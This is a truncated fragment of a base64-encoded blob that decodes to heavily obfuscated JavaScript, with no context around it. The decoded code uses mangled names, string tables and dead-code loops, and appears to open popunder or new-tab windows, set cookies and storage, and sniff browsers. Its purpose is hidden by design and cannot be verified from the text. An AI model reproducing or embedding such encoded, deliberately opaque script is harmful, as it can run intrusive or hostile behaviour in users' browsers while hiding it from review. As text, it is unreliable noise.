UuWjYoMjMwKTtKYT13NS5aNig4MSk7VmE9dzUuWjYoMzA5KTskYT13NS5mNigzNDcpO1FhPXc1LmY2KDM4MSk7R2E9dzUuWjYoOTIpO1lhPXc1LmY2KDEyNSk7S2E9dzUuWjYoMzIpO1phPXc1LmY2KDM5MCk7WGE9dzUuZjYoNDY4KTt0Yz13NS5mNigzNik7ZWM9dzUuZjYoMzk3KTtpYz13NS5aNig0ODApO25jPXc1LmY2KDIyMik7cmM9dzUuZjYoNDU3KTtvYz13NS5aNigzNTIpO3NjPXc1Llo2KDI5KTthYz0vaShQaG9uZXxQYWR8UG9kKS9pO2NjPXc1LmY2KDQzNCk7dWM9dzUuZjYoNDIxKTtoYz13NS5aNig0NzMpO2ZjPXc1LmY2KDE3MCk7cGM9dzUuZjYoMjYyKTtfYz13NS5aNigxNTEpO2xjPXc1LmY2KDQ5KTtkYz13NS5mNigyNTQpO3ZjPXc1LmY2KDQyOCk7YmM9dzUuZjYoMTUzKTttYz13NS5aNigyNjkpO2djPXc1Llo2KDU3KTt5Yz13NS5mNigzNTcpO2tjPS9UcmlkZW50XC8uKj9ydjooW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTt3Yz13NS5aNig0NTMpO3hjPXc1Llo2KDQ3Nik7T2M9dzUuZjYoNDU0KTtDYz13NS5mNig0NTgpO0VjPXc1LmY2KDgwKTtQYz0vOlxkKyQvO1RjPXc1Llo2KDI3Mik7QWM9dzUuWjYoMzI3KTtGYz13NS5mNig0NzkpO1NjPXc1Llo2KDYxKTtqYz13NS5mNigyOTEpO0xjPXc1Llo2KDIzMik7emM9dzUuWjYoMTEpO0JjPXc1LmY2KDM0Nik7SWM9dzUuWjYoMTA1KTtNYz13NS5aNig0NzcpO1djPXc1Llo2KDQwKTtEYz13NS5aNig3Nik7VWM9dzUuWjYoMTYpO1JjPXc1Llo2KDIyNyk7TmM9dzUuWjYoMjA0KTtIYz13NS5mNigzNyk7IWZ1bmN0aW9uKHQseSxSdCxYZSxyaSx5aSxBaSxObixkcixVcixpbyxybyxDbyxHcyx6YyxVYyxxYyxKYyxWYywkYyl7InVzZSBzdHJpY3QiO3ZhciBRYyxHYyxZYyxLYyxaYyxYYyx0dSxldSxpdSxudSxydSxvdSxzdSxhdSxjdSx1dSxodSxmdSxwdSxfdSxsdSxkdSx2dSxidSxtdSxndSx5dSxrdSx3dSx4dSxPdSxDdSxFdSxQdSxUdSxBdSxGdTtydT10O3c1Llk0KDApO291PXc1LmM0KHVpLEdyLGJyLF9yLFllLFNpLFR0LGRuLFllLHUsbWksT3QsR3IsWWUsdXIpO3c1Llk0KDEpO3N1PXc1LnU0KGZlLFR0LEh0LG90LFR0KTt3NS5vNCgxKTthdT13NS51NChXaSxQZSxLLF9jLFBlKTt3NS5ZNCgyKTtjdT13NS5jNChydSxnaSk7dzUubzQoMik7dXU9dzUudTQocnUsWm8pO3c1Lm80KDMpO2h1PXc1LmM0KE9jLHJ1LEJpLFV0LEdyLEdyKTt3NS5vNCgyKTtmdT13NS51NChydSwkYSk7cHU9YW87X3U9eGk7bHU9THI7ZHU9bW47dnU9eVtmXVtxbytHcitDXVtYcytHcit0cytHcituY10oKTtidT17dW5kZXI6bzUsbmV3VGFiOm81fTttdT1udWxsO2d1PW81O3l1PSF7fTtrdT1mdW5jdGlvbigpe307dzUuWTQoNCk7d3U9dzUudTQoR3IsT3QsRXQpO3h1PXJpW3ZzK0dyK0FvXXx8e3NyYzpudWxsfTt3NS5vNCg0KTtPdT15W2ZdW3c1LmM0KGVvLEdyLGtyKV07Q3U9eXU7RXU9eXU7UHU9eXU7VHU9ZnVuY3Rpb24oKXt2YXIgRTksbzksdzk7dHJ5e0U5PTM2MDIzMDM0MztvOT01MDA4ODEwMDM7dzk9Mjtmb3IodmFyIGI1PTE7dzUuTDEoYjUudG9TdHJpbmcoKSxiNS50b1N0cmluZygpLmxlbmd0aCw1ODI0MykhPT1FOTtiNSsrKXtyZXR1cm4geVtwXT09PXlbcXJdfHwheVtwXVttcl1bRWldWyhYcy1HciklaF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0L